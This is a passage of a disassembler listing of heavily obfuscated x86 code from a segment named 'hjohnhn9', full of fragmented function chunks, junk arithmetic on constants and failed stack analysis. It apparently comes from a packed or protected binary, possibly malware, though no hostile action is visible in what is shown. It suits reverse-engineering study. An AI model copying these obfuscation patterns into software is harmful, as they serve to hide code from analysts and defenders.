; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------
		mov	ebp, edx
		pushf
		jmp	sub_424946

; =============== S U B	R O U T	I N E =======================================



sub_426BD2	proc near		; CODE XREF: hjohnhn9:00426842j
					; hjohnhn9:loc_426B63p

; FUNCTION CHUNK AT 004235C0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00427A69 SIZE 00000003 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	dword ptr [ebp-8], 2
		jmp	loc_4235C0
sub_426BD2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_426BDF:				; CODE XREF: sub_424A78:loc_424C0Cj
					; sub_424A78+1B0j
		test	byte ptr [ebp-8], 20h
		jz	loc_428B8A
		push	ebp


loc_426BEA:				; CODE XREF: hjohnhn9:loc_42822Cj
		mov	eax, [ebp-20h]
		call	sub_4282F8
		jmp	loc_4248CB
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------


loc_426BF7:				; CODE XREF: hjohnhn9:004237E4j
		sbb	esi, 0A2FC903Eh

; =============== S U B	R O U T	I N E =======================================



sub_426BFD	proc near		; CODE XREF: hjohnhn9:0042861Cp
		xchg	esi, [esp+0]
		pop	esi
		push	edx
		mov	edx, esi
		call	sub_424928
sub_426BFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426C09	proc near		; CODE XREF: sub_426827+6p
					; hjohnhn9:004276E6j

; FUNCTION CHUNK AT 0042361F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424891 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425E6E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042654D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00428F8E SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		cmp	dword ptr [ebp-10h], 0
		jge	loc_424788
		jmp	loc_424891
sub_426C09	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426C1C	proc near		; CODE XREF: hjohnhn9:00424B85j
					; sub_424161+3A88p
		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_423CCD
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_423C90
sub_426C1C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B6C


loc_426C2E:				; CODE XREF: sub_423B6C+6j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		push	offset loc_4235B0


loc_426C3C:				; CODE XREF: hjohnhn9:loc_42417Bj
		jmp	nullsub_23
; END OF FUNCTION CHUNK	FOR sub_423B6C
; ---------------------------------------------------------------------------


loc_426C41:				; CODE XREF: hjohnhn9:0042698Aj
		jns	loc_424F3E
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_426C48	proc near		; CODE XREF: hjohnhn9:0042490Ep
		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [eax+0Ch]
sub_426C48	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42304F


loc_426C4F:				; CODE XREF: sub_42304F:loc_426AE9j
					; sub_42304F+40BEj
		js	loc_42306D
		mov	ebx, [eax+18h]
		jmp	loc_424F43
; END OF FUNCTION CHUNK	FOR sub_42304F

; =============== S U B	R O U T	I N E =======================================



sub_426C5D	proc near		; DATA XREF: sub_426749-3000o
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
sub_426C5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_426C64:				; CODE XREF: sub_423F65+12CBj
					; hjohnhn9:loc_426CE0j
		jmp	loc_428BF7
; END OF FUNCTION CHUNK	FOR sub_423F65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423A75


loc_426C69:				; CODE XREF: sub_423A75+8j
		jmp	loc_4271B8
; END OF FUNCTION CHUNK	FOR sub_423A75
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E7B


loc_426C6F:				; CODE XREF: sub_427E7B+5j
		jmp	nullsub_41
; END OF FUNCTION CHUNK	FOR sub_427E7B
; ---------------------------------------------------------------------------
		test	esi, 23688F42h
		jmp	loc_428440
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_426C7F:				; CODE XREF: sub_424161:loc_424D68j
		jl	loc_4251B2
		add	ecx, 0DC4540C3h
		mov	esi, 0D440BF32h
		jo	loc_423F86
		jmp	loc_4251B2
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_426C9B:				; CODE XREF: sub_4263E3-1382j
		js	loc_42326A


loc_426CA1:				; CODE XREF: sub_4263E3:loc_4248A6j
		call	sub_424877
		push	920F95FFh
		pop	edx
		add	edx, 91B68572h
		sub	edx, 7BF5D68h
		xor	edx, 78E917E4h
		call	sub_4279ED
		jmp	loc_4290A8
; END OF FUNCTION CHUNK	FOR sub_4263E3

; =============== S U B	R O U T	I N E =======================================



sub_426CC8	proc near		; DATA XREF: hjohnhn9:loc_428BA0o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042484F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004260B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042633F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426DCF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426F98 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004286BD SIZE 00000020 BYTES

		lea	eax, [ebp-14h]
		push	eax
		call	sub_423425
		push	ecx
		push	948EBC6Bh
		pop	ecx
		rol	ecx, 0Eh
		jmp	loc_42484F
sub_426CC8	endp

; ---------------------------------------------------------------------------


loc_426CE0:				; CODE XREF: hjohnhn9:00424962j
		jns	loc_426C64

; =============== S U B	R O U T	I N E =======================================



sub_426CE6	proc near		; CODE XREF: sub_4262C5:loc_4264E6p

; FUNCTION CHUNK AT 0042376C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423EC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004283E0 SIZE 0000000C BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 82C2CCCDh
		jmp	loc_423EC1
sub_426CE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_426CF5:				; CODE XREF: hjohnhn9:004274D0j
		js	loc_423D79
		not	esi
		jmp	sub_4240E6

; =============== S U B	R O U T	I N E =======================================



sub_426D02	proc near		; CODE XREF: sub_428FD3+3j

; FUNCTION CHUNK AT 0042326A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427458 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004274D5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00428806 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00428F06 SIZE 00000005 BYTES

		add	esp, 0FFFFFFECh
		cmp	ds:dword_428AF0, 0
		jnz	loc_428806
		jmp	loc_428F06
sub_426D02	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D17	proc near		; CODE XREF: hjohnhn9:loc_42462Cp
					; hjohnhn9:00428B41j

; FUNCTION CHUNK AT 004234F1 SIZE 00000014 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_424877
		mov	edx, 0A22F8A70h
		call	sub_427C53
		jmp	loc_4234F1
sub_426D17	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_426D2F:				; CODE XREF: sub_423CDB:loc_425076j
		add	eax, 18h


loc_426D32:				; CODE XREF: hjohnhn9:loc_423D33j
		mov	[ebp-10h], eax


loc_426D35:				; CODE XREF: hjohnhn9:loc_42432Fj
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		jmp	loc_4283F7
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------


loc_426D46:				; CODE XREF: hjohnhn9:004281DAj
		shr	edi, 1
		test	esi, edx
		jmp	near ptr dword_4236FC+0Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4247F4


loc_426D4F:				; CODE XREF: sub_4247F4+8j
		pop	ebp
		xor	eax, eax
		push	esi
		push	0CF9699A1h
		pop	esi
		and	esi, 2FAD298Fh
		add	esi, 31404E79h
		jmp	loc_428A7E
; END OF FUNCTION CHUNK	FOR sub_4247F4

; =============== S U B	R O U T	I N E =======================================



sub_426D6A	proc near		; CODE XREF: hjohnhn9:004283F2j
					; sub_425C98+2AEBp
		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		push	35781F85h
		pop	ebx
		sub	ebx, 0C4F0A04Ah
		xor	ebx, 0DDF980Dh
		jns	near ptr dword_4236FC+7


loc_426D87:				; CODE XREF: hjohnhn9:00423829j
		jmp	loc_427D5C
sub_426D6A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_426D8C:				; CODE XREF: sub_4260BD-6Ej
		jns	loc_424DB8
		push	ecx


loc_426D93:				; CODE XREF: sub_4260BD:loc_424A12j
		mov	byte ptr [ebp-20h], 2Dh
		inc	dword ptr [ebp-10h]
		neg	dword ptr [ebp-8]


loc_426D9D:				; CODE XREF: sub_4260BD+1585j
		call	sub_423753
		mov	[ecx], ebx
		pushf
		jmp	sub_426211
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_426DAA:				; CODE XREF: sub_424A78:loc_427984j
		pop	esi
		mov	eax, [eax]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		jmp	loc_42380B
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240AE


loc_426DBA:				; CODE XREF: sub_4240AE+9j
		push	esi
		push	76D18151h
		pop	esi
		rol	esi, 8
		sub	esi, 68E4B3E7h
		jmp	loc_42769B
; END OF FUNCTION CHUNK	FOR sub_4240AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CC8


loc_426DCF:				; CODE XREF: sub_426CC8-246Dj
		jnz	loc_426F98
; END OF FUNCTION CHUNK	FOR sub_426CC8
; START	OF FUNCTION CHUNK FOR sub_426E8C


loc_426DD5:				; CODE XREF: sub_426E8C+Aj
		jmp	loc_4248D5
; END OF FUNCTION CHUNK	FOR sub_426E8C
; ---------------------------------------------------------------------------
		mov	[ebx], edx
		mov	eax, [esi]
		jmp	loc_426F98
; ---------------------------------------------------------------------------
		adc	edx, esi
		jmp	loc_4250C1
; ---------------------------------------------------------------------------
		xchg	esi, [ebp+0]
		jmp	loc_425EE4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_426DF3:				; CODE XREF: sub_42325E+3CF7j
		test	ebp, edi
		jmp	loc_425205
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_426DFA:				; CODE XREF: sub_427C9B+13j
		popf
; END OF FUNCTION CHUNK	FOR sub_427C9B

; =============== S U B	R O U T	I N E =======================================



sub_426DFB	proc near		; CODE XREF: sub_4237F4+BF4p

; FUNCTION CHUNK AT 00423495 SIZE 00000012 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebp
		mov	ebp, eax


loc_426E02:				; CODE XREF: sub_428E98:loc_423E17j
		jmp	loc_4234A2
sub_426DFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_426E07:				; CODE XREF: sub_426354:loc_4283BFj
		jz	loc_42909E
		jmp	loc_427A11
; ---------------------------------------------------------------------------


loc_426E12:				; CODE XREF: sub_426354-47Bj
		push	offset loc_4237BD
		jmp	nullsub_24
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_4252D0
		call	sub_4244F5
		mov	esp, ebp
		xchg	ecx, [esp]
		mov	ebp, ecx
		pop	ecx
		push	esi
		jmp	loc_4241AA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_426E35:				; CODE XREF: sub_424631+1F11j
		jmp	loc_423ED7
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
		dw 3F06h
dword_426E3C	dd 77E60000h		; DATA XREF: sub_4240E6+4r
					; sub_4284CB:loc_427FBFr ...
dword_426E40	dd 37392B6Bh, 8C331B65h, 6C8D235Ch ; DATA XREF:	hjohnhn9:00428061o
					; hjohnhn9:loc_4280BFo
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_426E4D:				; CODE XREF: sub_4260BD-1737j
		jmp	loc_4282E4
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
		dw 227h
byte_426E54	db 1			; DATA XREF: sub_426749+1AC2w
					; sub_426749+2702r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42698F


loc_426E55:				; CODE XREF: sub_42698F+Cj
		jmp	loc_42726B
; END OF FUNCTION CHUNK	FOR sub_42698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426708


loc_426E5A:				; CODE XREF: sub_426708-53Ej
		jmp	loc_426311
; END OF FUNCTION CHUNK	FOR sub_426708
; ---------------------------------------------------------------------------
		db 76h
dword_426E60	dd 6C911D6Eh, 6323176Ch, 5209008Dh ; DATA XREF:	sub_426749+2712o
dword_426E6C	dd 77F50000h		; DATA XREF: sub_426749:loc_423741r
					; sub_426749+1ABDw
; ---------------------------------------------------------------------------


loc_426E70:				; CODE XREF: hjohnhn9:0042887Dj
		jmp	loc_427CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E85


loc_426E75:				; CODE XREF: sub_427E85-A0Aj
		jmp	loc_423F15
; END OF FUNCTION CHUNK	FOR sub_427E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_426E7A:				; CODE XREF: sub_424161-4C5j
		jmp	loc_423CC4
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_424345
; ---------------------------------------------------------------------------


loc_426E86:				; CODE XREF: hjohnhn9:00424CE7j
		jp	loc_42510D

; =============== S U B	R O U T	I N E =======================================



sub_426E8C	proc near		; CODE XREF: sub_426A30+190p

; FUNCTION CHUNK AT 004248D5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00426DD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042804B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jz	loc_425B24
		jmp	loc_426DD5
sub_426E8C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_426E9B:				; CODE XREF: sub_426475:loc_427EA1j
		cmp	ecx, 9029DA59h
		jmp	loc_4231C3
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------


loc_426EA6:				; CODE XREF: hjohnhn9:00426201j
		popf
		js	loc_424E1C


loc_426EAD:				; CODE XREF: hjohnhn9:loc_428414j
		push	1134D065h
		pop	eax
		xor	eax, 0C4F530B5h
		or	eax, 337FEE7Dh
		jmp	loc_426A09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_426EC4:				; CODE XREF: sub_424819+2BECj
		push	eax
		push	0
		push	edx
		push	0AA96A096h
		pop	edx
		xor	edx, 0A7A694FEh
		and	edx, 9A1ACD69h
		test	edx, 4000h
		jmp	loc_425F9E
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_426EE5:				; CODE XREF: sub_4260BD:loc_423BF1j
		mov	esi, ebp
		xchg	esi, [esp+0]
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		mov	[ebp-8], edx
		push	ebx
		jmp	loc_427431
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------

locret_426EF8:				; CODE XREF: hjohnhn9:004237D2j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_426EF9:				; CODE XREF: sub_42304F+44BAj
		jmp	loc_424D8C
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_426EFE:				; CODE XREF: sub_425BD2-1CAFj
					; sub_427BCE-848j
		jmp	loc_428B34
; ---------------------------------------------------------------------------


loc_426F03:				; CODE XREF: sub_425BD2:loc_424788j
		mov	eax, [ebp-10h]
		mov	al, [ebp+eax-20h]
		push	0CA48626Ah
		pop	edx
		add	edx, 0D275ECDEh
		or	edx, 2CE8D87Ah
		rol	edx, 1Fh
		jmp	loc_424266
; ---------------------------------------------------------------------------


loc_426F24:				; CODE XREF: sub_425BD2:loc_427881j
		jge	loc_424788
		jmp	loc_425AE1
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	sub_426A78
; ---------------------------------------------------------------------------


loc_426F35:				; DATA XREF: hjohnhn9:00426119o
		cmp	dword ptr [ebp-8], 0
		jnz	loc_428BAC
		jmp	loc_426344
; ---------------------------------------------------------------------------
		pushf
		test	ecx, 327C5875h
		jmp	loc_427160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_426F50:				; CODE XREF: sub_42325E+82Aj
		push	0E629B8E1h
		jmp	loc_426DF3
; END OF FUNCTION CHUNK	FOR sub_42325E

; =============== S U B	R O U T	I N E =======================================



sub_426F5A	proc near		; DATA XREF: hjohnhn9:00423C7Bo

; FUNCTION CHUNK AT 0042365D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E8D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042513C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425C33 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00425D65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426BA8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427339 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427B8D SIZE 00000005 BYTES

		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-1Ch]
		jmp	loc_425D65
sub_426F5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_426F68:				; CODE XREF: hjohnhn9:004266D5j
		inc	dword ptr [ebp-1Ch]
		jmp	loc_426B9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4290CF


loc_426F70:				; CODE XREF: sub_4244F5-14Ej
					; sub_4290CF+4j
		inc	dword ptr [ebp-18h]
		push	offset sub_425F3F
		jmp	loc_4246A3
; END OF FUNCTION CHUNK	FOR sub_4290CF
; ---------------------------------------------------------------------------
		xchg	ebx, [ebp+0]
		jmp	sub_42387A

; =============== S U B	R O U T	I N E =======================================



sub_426F85	proc near		; CODE XREF: sub_427C53:loc_427AA2j

; FUNCTION CHUNK AT 004260CD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042726D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004277CE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428150 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428D00 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428EEB SIZE 00000007 BYTES

		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_4260CD
sub_426F85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CC8


loc_426F98:				; CODE XREF: sub_426CC8:loc_426DCFj
					; hjohnhn9:00426DDEj
		sub	ecx, 0EC213638h
		and	ecx, 0D1BF21DAh
		add	ecx, 40256A96h
		mov	[ecx], eax
		pop	ecx


loc_426FAD:				; CODE XREF: hjohnhn9:004236D9j
		lea	eax, [ebp-14h]
		xor	edx, edx
		push	ecx
		jmp	loc_42633F
; END OF FUNCTION CHUNK	FOR sub_426CC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_426FB8:				; CODE XREF: sub_42363F:loc_4265C3j
		ror	eax, 12h
		mov	ds:dword_428B18, eax

locret_426FC1:				; CODE XREF: sub_42362A:loc_42911Dj
		retn
; END OF FUNCTION CHUNK	FOR sub_42363F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4235C9


loc_426FC2:				; CODE XREF: sub_4235C9+Aj
		jmp	loc_42326F
; END OF FUNCTION CHUNK	FOR sub_4235C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_426FC7:				; CODE XREF: sub_42363F+2649j
					; sub_426F5A-3ABj
		rol	eax, 12h
		jmp	loc_4289FD
; END OF FUNCTION CHUNK	FOR sub_42363F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42345B


loc_426FCF:				; CODE XREF: sub_42345B+6j
		jno	loc_4243BD
		mov	ebp, esp
		push	ecx
		push	231CBC7Bh
		jmp	loc_428892
; END OF FUNCTION CHUNK	FOR sub_42345B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_426FE2:				; CODE XREF: sub_42325E+496Bj
		cmp	edi, ecx


loc_426FE4:				; CODE XREF: sub_428E98+1j
		jmp	loc_428B46
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_426FE9:				; CODE XREF: sub_427564+Dj
		jnz	sub_427DE6
		jmp	loc_4245D2
; END OF FUNCTION CHUNK	FOR sub_427564
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_426FF4:				; CODE XREF: sub_426A30+760j
		jz	loc_4247C1
		call	sub_426859
		jnz	loc_427181
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_4247C1
		mov	ebx, [ebx+ecx]
		jmp	loc_4247BC
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------
		shl	ebx, 7
		jmp	loc_424922
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42873F


loc_427021:				; CODE XREF: sub_42873F:loc_4252D4j
		jnz	loc_428748
		retn
; END OF FUNCTION CHUNK	FOR sub_42873F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_427028:				; CODE XREF: sub_425BD2+2F68j
		jmp	loc_425F81
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424361


loc_42702D:				; CODE XREF: sub_424361+11j
		jmp	loc_426B21
; END OF FUNCTION CHUNK	FOR sub_424361

; =============== S U B	R O U T	I N E =======================================



sub_427032	proc near		; CODE XREF: sub_426A30+Ep

; FUNCTION CHUNK AT 00423806 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424480 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00426847 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427E3F SIZE 00000015 BYTES

		mov	eax, large fs:0


loc_427039:				; CODE XREF: sub_427032-2BADj
					; sub_424D25+Cj
		jnz	loc_42448C
		cmp	dword ptr [eax], 0FFFFFFFFh
		jmp	loc_423806
sub_427032	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428CAF


loc_427048:				; CODE XREF: sub_428CAF+15j
		pop	eax
		add	eax, 1676D70Ah
		rol	eax, 11h
		xor	eax, 0D004D392h
		add	eax, ebp
		push	esi
		jmp	loc_4242DE
; END OF FUNCTION CHUNK	FOR sub_428CAF
; ---------------------------------------------------------------------------


loc_427060:				; CODE XREF: hjohnhn9:0042511Cj
		test	edx, esi
		jmp	loc_427749
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	sub_4235D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_42706D:				; CODE XREF: sub_4236A7:loc_424BAEj
					; hjohnhn9:00428F38j
		or	esi, 1018A317h
		sub	esi, 25967CE4h
		or	esi, 4B12ED79h
; END OF FUNCTION CHUNK	FOR sub_4236A7
; START	OF FUNCTION CHUNK FOR sub_428E98


loc_42707F:				; CODE XREF: sub_428E98-507Bj
		xor	esi, 0FBF2FFFFh


loc_427085:				; CODE XREF: hjohnhn9:loc_427EF5j
		add	eax, esi
		jmp	loc_428A97
; END OF FUNCTION CHUNK	FOR sub_428E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_42708C:				; CODE XREF: sub_424631:loc_424F3Ej
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_423F3D
		jmp	loc_428667
; ---------------------------------------------------------------------------


loc_4270A1:				; CODE XREF: sub_424631:loc_424F28j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_4249A3
		jmp	loc_428567
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------


loc_4270B6:				; CODE XREF: hjohnhn9:00425B60j
		rol	eax, 9
		push	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425029


loc_4270BB:				; CODE XREF: sub_4289A4+9j
		jmp	loc_4267FC
; END OF FUNCTION CHUNK	FOR sub_425029
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427363


loc_4270C0:				; CODE XREF: sub_427363+7j
		jmp	loc_425DB7
; END OF FUNCTION CHUNK	FOR sub_427363
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265A0


loc_4270C5:				; CODE XREF: sub_4265A0+Dj
		jmp	sub_42855B
; END OF FUNCTION CHUNK	FOR sub_4265A0
; ---------------------------------------------------------------------------


loc_4270CA:				; CODE XREF: hjohnhn9:00424B75j
		jmp	loc_426388

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4270CF	proc near		; CODE XREF: sub_425CB3-1BDAp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042764D SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_42764D
sub_4270CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42387A


loc_4270DD:				; CODE XREF: sub_42387A:loc_4271B3j
		jns	loc_426685


loc_4270E3:				; CODE XREF: sub_423BC3+50DDj
		jmp	loc_427BF3
; END OF FUNCTION CHUNK	FOR sub_42387A
; ---------------------------------------------------------------------------
		adc	esi, 0B23EB003h
; START	OF FUNCTION CHUNK FOR sub_423444


loc_4270EE:				; CODE XREF: sub_423444+5j
		jge	sub_423FB9
		jnp	loc_4260B8
		sbb	ebp, eax
		jmp	loc_426685
; END OF FUNCTION CHUNK	FOR sub_423444
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_427102:				; CODE XREF: sub_42304F:loc_4237EAj
		cmp	eax, 0FFFFFFFFh
		jz	loc_427112
		mov	eax, [eax]
		jmp	loc_426C4F
; ---------------------------------------------------------------------------


loc_427112:				; CODE XREF: sub_42304F+40B6j
					; sub_42304F+436Bj ...
		xor	ebx, ebx
		jmp	loc_426833
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42303E


loc_427119:				; CODE XREF: sub_42303E:loc_424896j
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 6
		xor	[ebp-8], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_4249B5
; END OF FUNCTION CHUNK	FOR sub_42303E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425029


loc_42712D:				; CODE XREF: sub_425029+7j
					; sub_427F90+FEDj
		inc	dword ptr [ebp-8]
		call	sub_42486B


loc_427135:				; CODE XREF: sub_427F90+50Aj
		jmp	loc_425040
; END OF FUNCTION CHUNK	FOR sub_425029
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_42713A:				; CODE XREF: sub_423BC3+AA6j
		jmp	loc_423388
; END OF FUNCTION CHUNK	FOR sub_423BC3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


